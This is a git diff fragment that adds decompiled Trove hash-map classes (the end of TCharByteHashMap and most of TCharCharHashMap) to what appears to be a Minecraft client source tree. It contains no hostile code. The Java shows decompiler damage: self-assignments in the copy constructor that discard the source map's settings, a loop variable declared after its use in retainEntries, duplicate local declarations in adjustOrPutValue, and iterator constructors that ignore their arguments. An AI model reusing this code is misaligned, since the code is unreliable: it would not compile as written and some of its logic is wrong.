+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TCharByteHashMap.TCharByteValueHashIterator(TCharByteHashMap.this, TCharByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TCharByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TCharByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharByteHashIterator
+    extends THashPrimitiveIterator
+    implements TCharByteIterator
+  {
+    TCharByteHashIterator(TCharByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharByteMap)) {
+      return false;
+    }
+    TCharByteMap that = (TCharByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharCharHashMap.java
new file mode 100644
index 0000000..43e020d
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharCharHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharCharIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.map.TCharCharMap;
+import gnu.trove.procedure.TCharCharProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharCharHashMap
+  extends TCharCharHash
+  implements TCharCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TCharCharHashMap() {}
+  
+  public TCharCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharCharHashMap(int initialCapacity, float loadFactor, char noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharCharHashMap(char[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharCharHashMap(TCharCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharCharHashMap)) {
+      TCharCharHashMap hashmap = (TCharCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(char key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(char key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(char key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Character> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TCharCharMap map)
+  {
+    ensureCapacity(map.size());
+    TCharCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(char key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharCharIterator iterator()
+  {
+    return new TCharCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(char key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; char[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((char)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(char key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharCharHashMap.TCharCharKeyHashIterator(TCharCharHashMap.this, TCharCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharCharHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharCharHashMap.TCharCharValueHashIterator(TCharCharHashMap.this, TCharCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
